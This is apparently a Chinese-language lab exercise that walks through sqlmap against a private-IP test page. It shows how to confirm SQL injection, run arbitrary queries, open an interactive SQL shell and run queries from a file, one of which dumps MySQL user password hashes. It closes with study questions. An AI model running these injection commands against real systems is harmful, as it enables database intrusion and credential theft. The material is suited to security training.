步骤1:测试注入点
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1"
成功验证该注入点
web server operating system: Windows //操作系统 web application technology: Apache 2.4.10, PHP 5.2.17 //WEB容器 back-end DBMS: MySQL >= 5.5 //MySQL版本
步骤2:执行指定的SQL语句
–sql-query=QUERY
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-query=”select @@version”
步骤3:交互式的SQL命令行
–sql-shell
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-shell
select @@version
select @@datadir //查询当前数据库文件存放路径的语句
x或q退出交互式SQL命令行
步骤4:执行文件中的SQL语句
–sql-file=sql文件 直接执行SQL文件中的语句
c盘新建一个SQL文件 1.sql
内容:
select version(); //查询数据库版本
select @@basedir; //查询数据库存放路径
select password from mysql.user; //查询MySQL用户密码
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –sql-file=c:/1.sql
思考
- 这几种执行命令的方式有何不同?各满足什么需求?
- 上述情况下,能执行UPDATE 之类的SQL语句吗?